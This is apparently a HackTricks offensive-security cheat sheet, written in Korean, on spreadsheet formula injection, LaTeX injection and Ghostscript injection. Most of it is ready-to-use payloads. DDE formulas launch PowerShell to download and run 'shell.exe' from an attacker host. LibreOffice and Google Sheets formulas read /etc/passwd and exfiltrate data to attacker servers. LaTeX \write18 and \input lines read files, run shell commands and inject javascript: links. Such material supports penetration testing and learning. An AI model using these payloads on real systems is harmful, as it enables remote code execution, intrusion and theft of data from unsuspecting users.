# Formula/CSV/Doc/LaTeX/GhostScript Injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Formula Injection ### Info λ§Œμ•½ λ‹Ήμ‹ μ˜ **input**이 **CSV 파일**(λ˜λŠ” μ•„λ§ˆλ„ **Excel**둜 열릴 λ‹€λ₯Έ 파일) μ•ˆμ— **반영**되고 μžˆλ‹€λ©΄, μ‚¬μš©μžκ°€ **νŒŒμΌμ„ μ—΄ λ•Œ** λ˜λŠ” μ‚¬μš©μžκ°€ μ—‘μ…€ μ‹œνŠΈ μ•ˆμ˜ μ–΄λ–€ 링크λ₯Ό **클릭할 λ•Œ** **μ‹€ν–‰**될 **Excel μˆ˜μ‹**을 넣을 수 μžˆμ„μ§€λ„ λͺ¨λ¦…λ‹ˆλ‹€. {% hint style="danger" %} μš”μ¦˜ **Excel은 μ™ΈλΆ€μ—μ„œ λ‘œλ“œλœ λ‚΄μš©**에 λŒ€ν•΄ **μ‚¬μš©μžμ—κ²Œ κ²½κ³ **(μ—¬λŸ¬ 번)ν•˜μ—¬ μ•…μ˜μ μΈ 행동을 λ°©μ§€ν•©λ‹ˆλ‹€. λ”°λΌμ„œ μ΅œμ’… νŽ˜μ΄λ‘œλ“œμ— λŒ€ν•œ μ‚¬νšŒ 곡학에 νŠΉλ³„ν•œ λ…Έλ ₯이 ν•„μš”ν•©λ‹ˆλ‹€. {% endhint %} ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hyperlink **λ‹€μŒ μ˜ˆμ‹œλŠ” μ΅œμ’… μ—‘μ…€ μ‹œνŠΈμ—μ„œ μ½˜ν…μΈ λ₯Ό μœ μΆœν•˜κ³  μž„μ˜μ˜ μœ„μΉ˜μ— μš”μ²­μ„ μˆ˜ν–‰ν•˜λŠ” 데 맀우 μœ μš©ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μ‚¬μš©μžκ°€ 링크λ₯Ό ν΄λ¦­ν•˜κ³  κ²½κ³  λ©”μ‹œμ§€λ₯Ό μˆ˜λ½ν•΄μ•Ό ν•©λ‹ˆλ‹€.** λ‹€μŒ μ˜ˆμ‹œλŠ” [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)μ—μ„œ κ°€μ Έμ˜¨ κ²ƒμž…λ‹ˆλ‹€. 학생 기둝 관리 μ‹œμŠ€ν…œμ—μ„œ λ³΄μ•ˆ μΉ¨ν•΄κ°€ CSV μ£Όμž… 곡격을 톡해 μ•…μš©λ˜λŠ” 상황을 상상해 λ³΄μ‹­μ‹œμ˜€. 곡격자의 μ£Όμš” μ˜λ„λŠ” ꡐ사가 학생 μ„ΈλΆ€ 정보λ₯Ό κ΄€λ¦¬ν•˜λŠ” 데 μ‚¬μš©ν•˜λŠ” μ‹œμŠ€ν…œμ„ μ†μƒμ‹œν‚€λŠ” κ²ƒμž…λ‹ˆλ‹€. 이 방법은 κ³΅κ²©μžκ°€ 학생 μ„ΈλΆ€ 정보λ₯Ό μž…λ ₯ν•˜λŠ” ν•„λ“œμ— μ•…μ„± 곡식을 μ£Όμž…ν•˜λŠ” λ°©μ‹μœΌλ‘œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ•…μ„± νŽ˜μ΄λ‘œλ“œλ₯Ό μ£Όμž…ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. 곡격은 λ‹€μŒκ³Ό 같이 μ „κ°œλ©λ‹ˆλ‹€: 1. **μ•…μ„± νŽ˜μ΄λ‘œλ“œ μ£Όμž…:** * κ³΅κ²©μžλŠ” 학생 μ„ΈλΆ€ 정보 양식을 μ œμΆœν•˜μ§€λ§Œ μŠ€ν”„λ ˆλ“œμ‹œνŠΈμ—μ„œ 일반적으둜 μ‚¬μš©λ˜λŠ” 곡식을 ν¬ν•¨ν•©λ‹ˆλ‹€ (예: `=HYPERLINK("","Click here")`). * 이 곡식은 ν•˜μ΄νΌλ§ν¬λ₯Ό μƒμ„±ν•˜λ„λ‘ μ„€κ³„λ˜μ—ˆμ§€λ§Œ, κ³΅κ²©μžκ°€ μ œμ–΄ν•˜λŠ” μ•…μ„± μ„œλ²„λ₯Ό κ°€λ¦¬ν‚΅λ‹ˆλ‹€. 2. **μ†μƒλœ 데이터 내보내기:** * κ΅μ‚¬λŠ” 손상이 λ°œμƒν•œ 것을 μ•Œμ§€ λͺ»ν•˜κ³  μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ 데이터λ₯Ό CSV 파일둜 λ‚΄λ³΄λƒ…λ‹ˆλ‹€. * CSV νŒŒμΌμ„ μ—΄λ©΄ μ—¬μ „νžˆ μ•…μ„± νŽ˜μ΄λ‘œλ“œκ°€ ν¬ν•¨λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 이 νŽ˜μ΄λ‘œλ“œλŠ” μŠ€ν”„λ ˆλ“œμ‹œνŠΈμ—μ„œ 클릭 κ°€λŠ₯ν•œ ν•˜μ΄νΌλ§ν¬λ‘œ λ‚˜νƒ€λ‚©λ‹ˆλ‹€. 3. **곡격 유발:** * κ΅μ‚¬λŠ” ν•˜μ΄νΌλ§ν¬λ₯Ό ν΄λ¦­ν•˜μ—¬ 학생 μ„ΈλΆ€ μ •λ³΄μ˜ 합법적인 뢀뢄이라고 λ―ΏμŠ΅λ‹ˆλ‹€. * ν΄λ¦­ν•˜λ©΄ λ―Όκ°ν•œ 데이터(μŠ€ν”„λ ˆλ“œμ‹œνŠΈμ˜ μ„ΈλΆ€ 정보 λ˜λŠ” κ΅μ‚¬μ˜ μ»΄ν“¨ν„°μ—μ„œ 포함될 수 있음)κ°€ 곡격자의 μ„œλ²„λ‘œ μ „μ†‘λ©λ‹ˆλ‹€. 4. **데이터 기둝:** * 곡격자의 μ„œλ²„λŠ” κ΅μ‚¬μ˜ μ»΄ν“¨ν„°μ—μ„œ μ „μ†‘λœ λ―Όκ°ν•œ 데이터λ₯Ό μˆ˜μ‹ ν•˜κ³  κΈ°λ‘ν•©λ‹ˆλ‹€. * κ³΅κ²©μžλŠ” 이 데이터λ₯Ό λ‹€μ–‘ν•œ μ•…μ˜μ μΈ λͺ©μ μœΌλ‘œ μ‚¬μš©ν•  수 있으며, 학생듀과 κΈ°κ΄€μ˜ ν”„λΌμ΄λ²„μ‹œμ™€ λ³΄μ•ˆμ„ λ”μš± μ†μƒμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€. ### RCE **μžμ„Έν•œ λ‚΄μš©μ€** [**원본 κ²Œμ‹œλ¬Ό**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **을 ν™•μΈν•˜μ‹­μ‹œμ˜€.** νŠΉμ • κ΅¬μ„±μ΄λ‚˜ 이전 λ²„μ „μ˜ Excelμ—μ„œλŠ” μž„μ˜μ˜ λͺ…령을 μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ 동적 데이터 κ΅ν™˜(DDE)μ΄λΌλŠ” κΈ°λŠ₯을 μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό ν™œμš©ν•˜λ €λ©΄ λ‹€μŒ 섀정을 ν™œμ„±ν™”ν•΄μ•Ό ν•©λ‹ˆλ‹€: * 파일 β†’ μ˜΅μ…˜ β†’ μ‹ λ’° μ„Όν„° β†’ μ‹ λ’° μ„Όν„° μ„€μ • β†’ μ™ΈλΆ€ μ½˜ν…μΈ λ‘œ μ΄λ™ν•˜μ—¬ **동적 데이터 κ΅ν™˜ μ„œλ²„ μ‹œμž‘**을 ν™œμ„±ν™”ν•©λ‹ˆλ‹€. μ•…μ„± νŽ˜μ΄λ‘œλ“œκ°€ ν¬ν•¨λœ μŠ€ν”„λ ˆλ“œμ‹œνŠΈλ₯Ό μ—΄λ©΄(μ‚¬μš©μžκ°€ κ²½κ³ λ₯Ό μˆ˜λ½ν•˜λŠ” 경우) νŽ˜μ΄λ‘œλ“œκ°€ μ‹€ν–‰λ©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, 계산기 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‹€ν–‰ν•˜κΈ° μœ„ν•œ νŽ˜μ΄λ‘œλ“œλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: ```markdown =cmd|' /C calc'!xxx ``` μΆ”κ°€ λͺ…령도 μ‹€ν–‰ν•  수 있으며, 예λ₯Ό λ“€μ–΄ PowerShell을 μ‚¬μš©ν•˜μ—¬ νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜κ³  μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Local File Inclusion (LFI) in LibreOffice Calc LibreOffice CalcλŠ” 둜컬 νŒŒμΌμ„ 읽고 데이터λ₯Ό μœ μΆœν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ‹€μŒμ€ λͺ‡ 가지 λ°©λ²•μž…λ‹ˆλ‹€: * 둜컬 `/etc/passwd` 파일의 첫 번째 쀄 읽기: `='file:///etc/passwd'#$passwd.A1` * 읽은 데이터λ₯Ό κ³΅κ²©μžκ°€ μ œμ–΄ν•˜λŠ” μ„œλ²„λ‘œ μœ μΆœν•˜κΈ°: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` * μ—¬λŸ¬ 쀄 μœ μΆœν•˜κΈ°: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * DNS 유좜 (읽은 데이터λ₯Ό κ³΅κ²©μžκ°€ μ œμ–΄ν•˜λŠ” DNS μ„œλ²„λ‘œ DNS 쿼리둜 μ „μ†‘ν•˜κΈ°): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets for Out-of-Band (OOB) Data Exfiltration Google SheetsλŠ” OOB 데이터 μœ μΆœμ„ μœ„ν•΄ μ•…μš©λ  수 μžˆλŠ” κΈ°λŠ₯을 μ œκ³΅ν•©λ‹ˆλ‹€: * **CONCATENATE**: λ¬Έμžμ—΄μ„ ν•¨κ»˜ μΆ”κ°€ν•©λ‹ˆλ‹€ - `=CONCATENATE(A2:E2)` * **IMPORTXML**: κ΅¬μ‘°ν™”λœ 데이터 μœ ν˜•μ—μ„œ 데이터λ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€ - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTFEED**: RSS λ˜λŠ” ATOM ν”Όλ“œλ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€ - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTHTML**: HTML ν…Œμ΄λΈ” λ˜λŠ” λͺ©λ‘μ—μ„œ 데이터λ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€ - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTRANGE**: λ‹€λ₯Έ μŠ€ν”„λ ˆλ“œμ‹œνŠΈμ—μ„œ μ…€ λ²”μœ„λ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€ - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMAGE**: 셀에 이미지λ₯Ό μ‚½μž…ν•©λ‹ˆλ‹€ - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection 일반적으둜 μΈν„°λ„·μ—μ„œ **LaTeX μ½”λ“œλ₯Ό PDF둜 λ³€ν™˜ν•˜λŠ”** μ„œλ²„λŠ” **`pdflatex`**λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€.\ 이 ν”„λ‘œκ·Έλž¨μ€ λͺ…λ Ή 싀행을 (ν—ˆμš©)ν•˜μ§€ μ•ŠκΈ° μœ„ν•΄ 3가지 μ£Όμš” 속성을 μ‚¬μš©ν•©λ‹ˆλ‹€: * **`--no-shell-escape`**: `texmf.cnf` νŒŒμΌμ—μ„œ ν™œμ„±ν™”λ˜μ–΄ μžˆλ”λΌλ„ `\write18{command}` ꡬ문을 **λΉ„ν™œμ„±ν™”**ν•©λ‹ˆλ‹€. * **`--shell-restricted`**: `--shell-escape`와 λ™μΌν•˜μ§€λ§Œ **미리 μ •μ˜λœ** 'μ•ˆμ „ν•œ' λͺ…λ Ή μ§‘ν•©μœΌλ‘œ **μ œν•œ**λ©λ‹ˆλ‹€ (\*\*Ubuntu 16.04μ—μ„œλŠ” λͺ©λ‘μ΄ `/usr/share/texmf/web2c/texmf.cnf`에 μžˆμŠ΅λ‹ˆλ‹€). * **`--shell-escape`**: `\write18{command}` ꡬ문을 **ν™œμ„±ν™”**ν•©λ‹ˆλ‹€. λͺ…령은 μ–΄λ–€ μ…Έ λͺ…령도 될 수 μžˆμŠ΅λ‹ˆλ‹€. 이 ꡬ문은 λ³΄μ•ˆμƒμ˜ 이유둜 일반적으둜 ν—ˆμš©λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ λͺ…령을 μ‹€ν–‰ν•˜λŠ” λ‹€λ₯Έ 방법이 μžˆμœΌλ―€λ‘œ RCEλ₯Ό ν”Όν•˜κΈ° μœ„ν•΄ `--shell-restricted`λ₯Ό μ‚¬μš©ν•˜λŠ” 것이 맀우 μ€‘μš”ν•©λ‹ˆλ‹€. ### Read file μ£Όμž…μ„ \[ λ˜λŠ” $와 같은 래퍼둜 μ‘°μ •ν•΄μ•Ό ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### 단일 ν–‰ 파일 읽기 ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### μ—¬λŸ¬ 쀄 파일 읽기 ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### 파일 μ“°κΈ° ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Command execution λͺ…λ Ήμ˜ μž…λ ₯은 stdin으둜 λ¦¬λ””λ ‰μ…˜λ˜λ©°, 이λ₯Ό μ–»κΈ° μœ„ν•΄ μž„μ‹œ νŒŒμΌμ„ μ‚¬μš©ν•©λ‹ˆλ‹€. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` LaTex 였λ₯˜κ°€ λ°œμƒν•˜λ©΄, 잘λͺ»λœ λ¬Έμžκ°€ μ—†λŠ” κ²°κ³Όλ₯Ό μ–»κΈ° μœ„ν•΄ base64λ₯Ό μ‚¬μš©ν•˜λŠ” 것을 κ³ λ €ν•˜μ„Έμš”. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### ꡐ차 μ‚¬μ΄νŠΈ μŠ€ν¬λ¦½νŒ… From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Injection **Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## References * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}